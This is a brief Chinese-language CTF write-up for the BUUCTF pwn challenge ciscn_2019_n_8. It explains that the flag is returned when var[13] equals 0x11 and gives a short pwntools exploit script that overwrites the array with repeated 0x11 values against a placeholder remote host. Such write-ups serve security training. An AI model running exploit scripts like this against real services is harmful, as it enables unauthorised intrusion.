【BUUCTF - PWN】ciscn_2019_n_8

checksec一下，好叭全开

IDA打开看看，var是int数组，如果var[13]=0x11的话就能get flag

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='i386'
context.log_level='debug'

sla=lambda x,y:io.sendlineafter(x,y)

io=remote('xxx',xxx)

payload=p32(0x11)*14
sla('\n',payload)

io.interactive()

附件：ciscn_2019_n_8